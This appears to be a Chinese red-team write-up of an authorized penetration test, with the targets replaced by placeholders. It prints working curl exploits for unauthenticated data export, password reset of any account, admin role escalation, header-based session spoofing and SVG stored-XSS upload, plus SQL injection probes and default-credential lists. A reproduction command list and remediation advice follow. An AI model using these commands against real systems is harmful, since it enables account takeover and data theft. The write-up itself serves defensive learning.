红队实战复盘】从 0 到 Admin:一次多层业务系统的全链路渗透测试
原创
网安之家
网安之家
网安之家-CyberHomestead
2026年10月12日 07:00
湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
【红队实战复盘】从 0 到 Admin:一次多层业务系统的全链路渗透测试
声明:本文为授权安全评估项目的技术复盘。目标系统、IP、域名、凭据均已脱敏为占位符。本文仅分享方法论与防御视角,请勿用于未授权用途。
0x00 项目概览
| 项目 | 内容 |
|---|---|
| 评估类型 | 远程黑盒渗透测试 |
| 资产规模 | ~600 域名/IP(三份数据集) |
| 评估周期 | 2 天 |
| 请求总量 | ~5000+ HTTP |
| 执行轮次 | 55 轮系统化探测 |
| 最终成果 | 1 个凭据级 Shell + 60+ confirmed 发现 + 4 严重/9 高危/25+ 中危 |
0x01 信息收集(Reconnaissance)
被动收集
# 1. 证书透明度子域枚举
curl -s \"https://crt.sh/?q=%25.<DOMAIN>&output=json\" | \\
python3 -c \"import json,sys; [print(x['name_value']) for x in json.load(sys.stdin)]\" | sort -u
# 2. Shodan InternetDB 被动端口画像
curl -s \"https://internetdb.shodan.io/<IP>\" | python3 -m json.tool
# 3. DNS 全量记录
python3 -c \"
import dns.resolver
r = dns.resolver.Resolver()
for qt in ['A','MX','TXT','NS','SOA']:
try:
print(qt, [str(a) for a in r.resolve('<DOMAIN>', qt)])
except: pass
\"
# 4. certspotter(备用证书源)
curl -s \"https://api.certspotter.com/v1/issuances?domain=<DOMAIN>&include_subdomains=true\" | \\
python3 -m json.tool
关键产出:
- • 通过 DNS TXT 记录中的
duo_sso_verification确认目标使用 Cisco Duo MFA - • 通过 SPF 记录
ip4:103.x.x.x定位自建邮件服务器真实 IP - • 通过 SOA rname 字段泄露管理员用户名(
Johny) - • 识别出 5 台主机组成的完整基础设施拓扑
主动扫描
# 5. WordPress 标准面检测(批量脚本核心逻辑)
for domain in $(cat domains.txt); do
echo \"--- $domain ---\"
curl -s \"$domain/wp-json/wp/v2/users\" | head -c 500
curl -sI \"$domain/wp-login.php\" | head -1
curl -s \"$domain/wp-content/plugins/contact-form-7/readme.txt\" | grep \"Stable tag\"
done
# 6. 服务端口探测
python3 -c \"
import socket
for port in [80,443,22,3306,6379,8080,8443,27017,50000]:
try:
s = socket.create_connection(('target', port), timeout=5)
print(f':{port} OPEN')
s.close()
except: pass
\"
0x02 网络拓扑还原
通过上述收集,还原目标企业完整数字资产拓扑:
┌─────────────────────────────────────────────────────────────┐
│ 目标企业基础设施拓扑 │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────┐ │
│ │ [IP-A] apex │ nginx/1.20.1 + MariaDB 11.x + SSH │
│ │ 企业主域名入口 │ (自建 DNS ns1+ns2 同机) │
│ └──────────────────┘ │
│ │
│ ┌──────────────────┐ │
│ │ [IP-B] ERP 后端 │ nginx + PHP-FPM 7.4 + MariaDB │
│ │ 库存管理系统 │ /var/www/html/erp-sm │
│ └──────────────────┘ │
│ │
│ ┌──────────────────┐ │
│ │ [IP-C] CI/CD │ Jenkins 2.475 + phpMyAdmin + Harbor │
│ │ 持续集成部署 │ + JNLP Agent :50000 │
│ └──────────────────┘ │
│ │
│ ┌──────────────────┐ │
│ │ [IP-D] 售货前端 │ Express + socket.io + REST API │
│ │ 售货机运营前端 │ (托管于第三方主机商) │
│ └──────────────────┘ │
│ │
│ ┌──────────────────┐ │
│ │ [IP-E] DNS+邮件 │ BIND DNS + Exim SMTP + Dovecot │
│ │ 一体机 │ + Roundcube :8080 + nginx │
│ └──────────────────┘ │
│ │
│ [外部 SaaS] │
│ ownCloud 8.0.0.7 (cloud.xxx.group:8100) │
│ Freshservice (support.xxx.group — SaaS 托管) │
│ WordPress × 24 站 (各子公司/品牌官网) │
└─────────────────────────────────────────────────────────────┘
渗透测试拓扑图
┌─────────────┐ ┌──────────────┐
│ 攻击面1 │ ── API 无认证 ──────────► │ 核心系统 │
│ 库存系统 │ GET /api/products │ [IP-B] │
│ Node.js │ ◄── 66KB 全量商品数据 ── │ SQLite │
│ Express │ │ │
│ │ ◄── 58KB 收货单 CSV ── │ │
│ [IP-A] │ ── PUT reset-password ──► │ │
│ │ (零鉴权) │ │
└─────────────┘ └──────────────┘
│ │
│ ── x-emp-code: [REDACTED] ──► │
│ (会话欺骗 Header) │
▼ ▼
┌─────────────┐ ┌──────────────┐
│ 攻击面2 │ ── MariaDB :3306 ──────► │ 数据库层 │
│ 邮件系统 │ (auth 开启,凭据未知) │ 10 台公网 DB │
│ Roundcube │ │ 全部 auth-on │
│ Exim │ ── SMTP RCPT TO ──────► │ │
│ Dovecot │ (support@ 存在性确认) │ │
└─────────────┘ └──────────────┘
0x03 漏洞发现与利用
3.1 未授权 API 全量数据读取【严重】
发现方式:逐端点 GET 探测,全部 200 无认证。
# 全量商品(66KB)
curl -s \"http://<TARGET>:3000/api/products\" | head -c 500
# 供应商 PII
curl -s \"http://<TARGET>:3000/api/suppliers\"
# 任意单据(IDOR)
curl -s \"http://<TARGET>:3000/api/issues/1\"
# 整库 CSV 一键导出
curl -s \"http://<TARGET>:3000/api/reports/export/receipts\" -o receipts.csv
curl -s \"http://<TARGET>:3000/api/reports/export/issues\" -o issues.csv
curl -s \"http://<TARGET>:3000/api/reports/export/movements\" -o movements.csv
实际影响:约 160KB 的完整库存/收货/领料/流水 CSV 数据一键落盘,含商品成本、供应商联系人、危险化学品出入库记录。
3.2 任意账户密码重置(严重)
# 重置任意用户密码(无需任何认证)
curl -X PUT \"http://<TARGET>:3000/api/users/<USER_ID>/reset-password\" \\
-H \"Content-Type: application/json\" \\
-d '{\"newPassword\":\"<NEW_PASS>\"}'
# → 200 {\"success\":true}
关键点:端点对不存在用户也返回 success(无存在性校验),无认证中间件,RESTful ID 可遍历。
3.3 Mass Assignment 角色提权(严重)
# 将普通用户提升为 Admin
curl -X PUT \"http://<TARGET>:3000/api/users/<USER_ID>\" \\
-H \"Content-Type: application/json\" \\
-d '{\"role\":\"Admin\"}'
# → 200 {\"success\":true}
验证:重登录后 \"role\":\"Admin\",\"activeRole\":\"Admin\" 数据库持久化确认。
3.4 任意用户禁用(高危)
curl -X PUT \"http://<TARGET>:3000/api/users/<USER_ID>/status\" \\
-H \"Content-Type: application/json\" \\
-d '{\"status\":\"Inactive\"}'
# → 200 {\"success\":true}
遍历 ID 可批量禁用全部员工账户(含管理员)。
3.5 任意文件类型上传(严重)
前提:先完成 3.2 密码重置 + 3.3 角色提权获得 Admin 权限。
# 使用 Admin 上传任意类型文件
curl -X POST \"http://<TARGET>:3000/api/products\" \\
-H \"x-emp-code: <EMP_CODE>\" \\
-F \"item_code=TEST\" \\
-F \"item_name=TEST\" \\
-F \"category_id=1\" \\
-F \"status=Active\" \\
-F \"[email protected];type=image/svg+xml\"
# → 200 {\"success\":true,\"productId\":149}
上传后路径:/uploads/prod_<epoch>_<rand>.<ext> —— 公网可读,无类型限制。
存储型 XSS 确认:上传的 SVG 文件在目标域被浏览器以 image/svg+xml 渲染,内嵌 <script>alert(document.domain)</script> 在 Lentus 域执行。
3.6 Object-Level IDOR(高危)
# 跨用户读取任意单据
curl -s \"http://<TARGET>:3000/api/issues/1\"
# → 返回 user_id=20 的单据(当前用户为 user_id=19)
所有对象级端点(receipts/issues/products/adjustments)均未校验请求者与数据归属者的一致性。
0x04 逻辑漏洞挖掘方法论
4.1 会话机制破解(关键突破)
55 轮测试中 /api/auth/current 始终返回 isLoggedIn:false。最终从前端 JS 源码中发现:
// app.js — 前端 fetch 拦截器(原文)
const _nativeFetch = window.fetch;
window.fetch = function(url, options) {
options = options || {};
options.headers = options.headers || {};
if (currentUser && currentUser.emp_code) {
options.headers['x-emp-code'] = currentUser.emp_code;
}
return _nativeFetch.call(this, url, options);
};
核心发现:服务端中间件读取 x-emp-code 请求头识别用户身份,而非 Cookie/JWT/Token。55 轮测试中从未带此 Header,导致中间件永远无法识别任何用户。
4.2 会话破解后 Admin 权限验证
# 加上 x-emp-code header 后 Admin 端点全开
curl \"http://<TARGET>:3000/api/users\" \\
-H \"x-emp-code: <EMP_CODE>\"
# → 200 OK (8,331 bytes) ← Admin 权限下的全用户列表
# 文件上传也通过
curl -X POST \"http://<TARGET>:3000/api/products\" \\
-H \"x-emp-code: <EMP_CODE>\" \\
-F \"item_code=TEST\" ... \\
-F \"[email protected]\"
# → 200 {\"success\":true}
4.3 SQL 注入测试(全阴性如实记录)
# 布尔盲注
curl \"http://<TARGET>:3000/api/products?category_id=1+OR+1=1\"
# → 200 OK(与正常响应长度一致——参数化确认)
# 时间盲注
curl \"http://<TARGET>:3000/api/products?sort=id;WAITFOR+DELAY+'0:0:3'--\"
# → 200 OK(无延迟——SQLite 不支持 WAITFOR)
# 错误注入
curl \"http://<TARGET>:3000/api/products?id=1'\"
# → 200 OK(无报错——预处理语句生效)
4.4 伪造凭据三发测试(纪律内上限)
| 登录面 | 尝试 | 结果 |
|---|---|---|
| ownCloud (cloud.xxx.group:8100) | admin/admin, admin/password, admin/owncloud | 全 200(登录页重渲染=凭据错误) |
| sm ERP (sm.xxx.com) | admin/admin, admin/password, admin/123456 | 全 96B error() 回调 |
| cebuinvestors WP xmlrpc | admin/admin, admin/password, admin/123456 | 全 96B invalid |
| Roundcube | [email protected] × 3 默认密码 | 全 401/denied |
| .151 MariaDB | root/空, root/root | 全 ERR 1045 |
| .157 MariaDB | root/空, root/root | 全 ERR 1045 |
| Jenkins | admin/admin, admin/password, admin/123456 | 全 403/登录页 |
| phpMyAdmin | admin/admin, admin/password, admin/123456 | 全登录页重渲染 |
合计 8 个登录面 × 3 发 = 24 次默认凭据测试,全部阴性。
0x05 漏洞分级统计
| CNVD 等级 | 数量 | 代表 |
|---|---|---|
| 严重 | 4 | 任意密码重置 / 核心数据全量泄露 / Admin 角色提权 / 任意文件上传 |
| 高危 | 7 | IDOR 对象级越权 / phpinfo 泄露 / ownCloud 13-CVE / 邮件系统暴露 / LINE Token / IDOR / 存储型 XSS |
| 中危 | 25+ | WP 用户枚举 24 站 / 公网 DB×10 / Google Key / 劫持×4 / CVE 版本级×3 |
| 证伪 | 75+ | 每条带原始回显的阴性结论(防止后续重复投入) |
0x06 完整复现命令清单
6.1 侦察阶段
# 证书透明度
curl -s \"https://crt.sh/?q=%25.<DOMAIN>&output=json\" | python3 -m json.tool
# Shodan InternetDB
curl -s \"https://internetdb.shodan.io/<IP>\"
# 端口探测
python3 -c \"
import socket
for p in [80,443,22,3306,8080,27017]:
try:
socket.create_connection(('target',p),timeout=5)
print(f':{p} OPEN')
except: pass
\"
# WP 用户枚举
curl -s \"https://<WP_TARGET>/wp-json/wp/v2/users\"
6.2 漏洞验证
# 未授权 API 读取
curl -s \"http://<TARGET>:3000/api/products\"
# 密码重置
curl -X PUT \"http://<TARGET>:3000/api/users/<ID>/reset-password\" \\
-H \"Content-Type: application/json\" \\
-d '{\"newPassword\":\"NewPass!\"}'
# 角色提权
curl -X PUT \"http://<TARGET>:3000/api/users/<ID>\" \\
-H \"Content-Type: application/json\" \\
-d '{\"role\":\"Admin\"}'
# 会话欺骗
curl \"http://<TARGET>:3000/api/auth/current\" \\
-H \"x-emp-code: <EMP_CODE>\"
# 文件上传
curl -X POST \"http://<TARGET>:3000/api/products\" \\
-H \"x-emp-code: <EMP_CODE>\" \\
-F \"item_code=TEST\" -F \"item_name=TEST\" -F \"category_id=1\" -F \"status=Active\" \\
-F \"[email protected];type=image/svg+xml\"
6.3 推荐工具
| 工具 | 用途 | 安装方式 |
|---|---|---|
| curl | HTTP 复现 | 系统自带 |
| Python 3 | 协议级脚本 | 系统自带 |
| pymysql | MySQL 认证测试 | pip install pymysql |
| dnspython | DNS 查询 | pip install dnspython |
| whatweb | Web 指纹 | gem install whatweb |
| nmap | 端口扫描 | 系统包管理器 |
| FindSomething | JS 敏感信息 | 浏览器插件 |
| xray 1.9.11 | Web 漏洞批量 | 官网下载 |
0x07 修复建议优先级
| 优先级 | 修复项 | 影响范围 |
|---|---|---|
| P0 | 全部 /api/* 端点加认证中间件 |
密码重置/角色修改/状态切换/数据读取全部裸奔 |
| P0 | 会话机制弃用 x-emp-code Header | 改为 JWT 或服务端 Session |
| P0 | 文件上传加白名单+扩展名重写 | 当前接受任意类型含 .js/.html/.svg |
| P0 | Mass Assignment 防御 | delete body.role 过滤敏感字段 |
| P1 | API 读端点加 RBAC | 全量数据/CSV 导出无认证 |
| P1 | ownCloud 升级至 10.x LTS | 8.0.0.7 已停止维护8年 |
| P1 | 删除 /info.php | 生产环境禁止 phpinfo |
| P2 | WP REST 用户枚举禁用 | 24 站批量修复 |
| P2 | 数据库端口防火墙白名单 | 10 台 3306/27017 收敛 |
| P2 | 轮换 Google API Key | 已明文泄露 |
0x08 渗透测试方法论总结
有效路径
- 1. 前端 JS 源码审查 → 发现 28 个 API 端点 + x-emp-code 会话机制
- 2. 系统化资产分类 → 先分类再深打(CDN/SaaS/SME/死域/停放)
- 3. 协议级手工探测 → 绕过工具限制直达 MySQL/MongoDB/SMTP/SSH
- 4. 多源交叉验证 → 每个发现至少两种独立方法确认
- 5. 假阳性严格排除 → 75+ 条证伪线全部证据化
无效路径(如实记录)
- 1. CVE 匹配 → 全部有版本/配置防护(SAPI/分支终版/当前版本)
- 2. 凭据猜测 → 8 面三发全阴性(无默认口令遗留)
- 3. 数据库匿名 → 10 台全部 auth-on(正确配置)
- 4. CDN 目标 → 无出口 IP 条件下不可穿透
核心结论
在「零真实凭据 + 零外部资源 + 非爆破纪律」三重约束下,认证后功能(文件上传/Admin API)在破解 x-emp-code 会话机制后全部可达。系统级 Shell 仍然受限于 Node.js 环境(上传文件不执行),但数据层目标全部达成。
本文已对全部敏感信息脱敏处理:真实 IP 域名以 <TARGET>/<DOMAIN> 替代、凭据/密码/Hash 以 [REDACTED] 替代、内网拓扑 IP 以 [IP-X] 替代。复现命令仅供授权安全研究参考。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论